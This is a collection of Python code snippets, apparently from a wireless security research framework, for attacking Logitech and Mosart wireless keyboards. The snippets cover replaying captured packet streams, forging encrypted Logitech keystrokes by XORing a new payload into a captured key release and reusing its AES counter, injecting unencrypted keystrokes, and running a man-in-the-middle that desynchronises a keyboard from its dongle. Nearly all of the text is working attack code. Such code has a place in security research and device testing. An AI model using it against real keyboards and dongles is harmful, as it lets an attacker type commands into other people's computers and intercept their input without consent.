Example #1
0
    def generateStream(self):
        '''
		This method generates a stream (i.e. a list of packets with the right inter frame spacing) from the PCAP file.
	
		:return: stream of packets
		:rtype: list
			

		:Example:

			>>> stream = device.generateStream()
			>>> device2.sendp(*stream)

		.. note::

			This method is a **shared method** and can be called from the corresponding Emitters / Receivers.

		'''
        if self.mode == "write":
            self.close()
            self.openFile()
            self.init()

        stream = []
        currentTimestamp = None
        for timestamp, packet in self.getAllPackets():
            if currentTimestamp is None:
                currentTimestamp = timestamp
            else:
                wait = (timestamp - currentTimestamp)
                stream.append(wireless.WaitPacket(time=wait))
                currentTimestamp = timestamp

            stream.append(self.publish("convertRawToMiragePacket", packet))
        return stream
	def addLogitechDelay(self,duration=1000):
		keystrokes = []
		number = int(duration / 10.0)
		for _ in range(number):
			keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200))
			keystrokes.append(wireless.WaitPacket(time=10.0/1000.0))
		return keystrokes
 def addLogitechKeystroke(self,
                          locale="fr",
                          key="a",
                          ctrl=False,
                          alt=False,
                          gui=False,
                          shift=False):
     keystrokes = []
     keystrokeUnencryptedPayload = esb.LogitechKeystroke(locale=locale,
                                                         key=key,
                                                         ctrl=ctrl,
                                                         alt=alt,
                                                         gui=gui,
                                                         shift=shift).data
     forgedPayload = bytes([
         self.lastKeyRelease.hidData[i] ^ keystrokeUnencryptedPayload[i]
         for i in range(len(self.lastKeyRelease.hidData))
     ])
     io.info("Forged payload: " + forgedPayload.hex())
     keystrokes.append(
         esb.ESBLogitechEncryptedKeystrokePacket(
             address=self.target,
             aesCounter=self.lastKeyRelease.aesCounter,
             unknown=self.lastKeyRelease.unknown,
             hidData=forgedPayload))
     keystrokes.append(wireless.WaitPacket(time=12 / 1000.0))
     keystrokes.append(
         esb.ESBLogitechKeepAlivePacket(address=self.target, timeout=1200))
     keystrokes.append(
         esb.ESBLogitechEncryptedKeystrokePacket(
             address=self.target,
             aesCounter=self.lastKeyRelease.aesCounter,
             unknown=self.lastKeyRelease.unknown,
             hidData=self.lastKeyRelease.hidData))
     return keystrokes
	def addLogitechKeystroke(self,locale="fr",key="a",ctrl=False, alt=False, gui=False,shift=False):
		keystrokes = []
		keystrokes.append(esb.ESBLogitechUnencryptedKeyPressPacket(address=self.target,locale=locale,key=key,ctrl=ctrl,alt=alt,gui=gui,shift=shift))
		keystrokes.append(wireless.WaitPacket(time=12/1000.0))
		keystrokes.append(esb.ESBLogitechKeepAlivePacket(address=self.target,timeout=1200))
		keystrokes.append(esb.ESBLogitechUnencryptedKeyReleasePacket(address=self.target))
		
		return keystrokes
Example #5
0
 def addHIDoverGATTDelay(self, duration=1000):
     keystrokes = []
     keystrokes.append(wireless.WaitPacket(time=0.0001 * duration))
     return keystrokes
Example #6
0
    def addMosartKeystroke(self,
                           locale="fr",
                           key="a",
                           ctrl=False,
                           alt=False,
                           gui=False,
                           shift=False):
        keystrokes = []
        if key == "\n":
            key = "ENTER"
        hid, mod = HIDMapping(locale=locale).getHIDCodeFromKey(key=key)

        if mod == 0:
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=hid,
                    modifiers=0,
                    state="pressed"))
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=hid,
                    modifiers=0,
                    state="pressed"))

            self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0
        else:
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=0,
                    modifiers=mod,
                    state="pressed"))
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=0,
                    modifiers=mod,
                    state="pressed"))
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=hid,
                    modifiers=0,
                    state="pressed"))
            keystrokes.append(
                mosart.MosartKeyboardKeystrokePacket(
                    sequenceNumber=self.counter,
                    address=self.args["TARGET"],
                    hidCode=hid,
                    modifiers=0,
                    state="pressed"))

            self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0
        keystrokes.append(
            mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,
                                                 address=self.args["TARGET"],
                                                 hidCode=hid,
                                                 modifiers=0,
                                                 state="released"))
        keystrokes.append(
            mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,
                                                 address=self.args["TARGET"],
                                                 hidCode=hid,
                                                 modifiers=0,
                                                 state="released"))
        keystrokes.append(
            mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,
                                                 address=self.args["TARGET"],
                                                 hidCode=0,
                                                 modifiers=mod,
                                                 state="released"))
        keystrokes.append(
            mosart.MosartKeyboardKeystrokePacket(sequenceNumber=self.counter,
                                                 address=self.args["TARGET"],
                                                 hidCode=0,
                                                 modifiers=mod,
                                                 state="released"))
        keystrokes.append(wireless.WaitPacket(time=0.4))
        self.counter = self.counter + 1 if self.counter + 1 <= 15 else 0
        return keystrokes
Example #7
0
    def run(self):
        self.deviceReceiver = self.getReceiver(
            interface=self.args["INTERFACE1"])
        self.deviceEmitter = self.getEmitter(interface=self.args["INTERFACE1"])

        self.dongleReceiver = self.getReceiver(
            interface=self.args["INTERFACE2"])
        self.dongleEmitter = self.getEmitter(interface=self.args["INTERFACE2"])

        if self.checkCapabilities():

            self.deviceReceiver.enterSnifferMode(self.args["TARGET"])
            self.dongleReceiver.enterSnifferMode(self.args["TARGET"])

            self.deviceReceiver.onEvent("*", self.deviceToDongle)
            self.dongleReceiver.onEvent("*", self.dongleToDevice)
            if self.loadScenario():
                io.info("Scenario loaded !")
                self.startScenario()

            io.info("Entering SCAN stage ...")
            self.setStage(ESBMitmStage.SCAN)
            while not self.deviceReceiver.scan(self.channels):
                io.info("Looking for dongle ...")
                utils.wait(seconds=0.01)
            io.success("Dongle found !")

            io.info("Entering DESYNC stage ...")
            self.setStage(ESBMitmStage.DESYNC)

            dongleChannel = self.pickChannel()
            self.dongleReceiver.setChannel(dongleChannel)
            self.deviceReceiver.enableAutoAck()

            while self.stage != ESBMitmStage.STOP:
                io.info("Transmitting ACK frames for device on channel " +
                        str(self.deviceReceiver.getChannel()) + " ...")
                io.info(
                    "Transmitting KeepAlive frames for dongle on channel " +
                    str(self.dongleReceiver.getChannel()) + " ...")

                keepAlives = []
                keepAlives.append(
                    esb.ESBLogitechKeepAlivePacket(address=self.args["TARGET"],
                                                   timeout=1200))
                keepAlives.append(wireless.WaitPacket(time=10.0 / 1000.0))
                while self.stage == ESBMitmStage.DESYNC or self.stage == ESBMitmStage.ACTIVE_MITM:
                    self.dongleEmitter.sendp(*keepAlives)
                    utils.wait(seconds=0.001)
                    if self.dongleEmitter.getChannel(
                    ) == self.deviceEmitter.getChannel():
                        self.dongleEmitter.setChannel(self.pickChannel())
                        self.ackCount = 0
                        self.injectionCount = 0
                        self.setStage(ESBMitmStage.DESYNC)
                        break
                    if self.lastFrame is not None and utils.now(
                    ) - self.lastFrame > utils.integerArg(
                            self.args["TIMEOUT"]):
                        io.fail("Device lost, terminating ...")
                        self.setStage(ESBMitmStage.STOP)
                        break

            if self.scenarioEnabled:
                self.endScenario()

            return self.ok()
        else:
            io.fail("Interfaces provided (" + str(self.args["INTERFACE1"]) +
                    ", " + str(self.args["INTERFACE2"]) +
                    ") are not able to run this module.")
            return self.nok()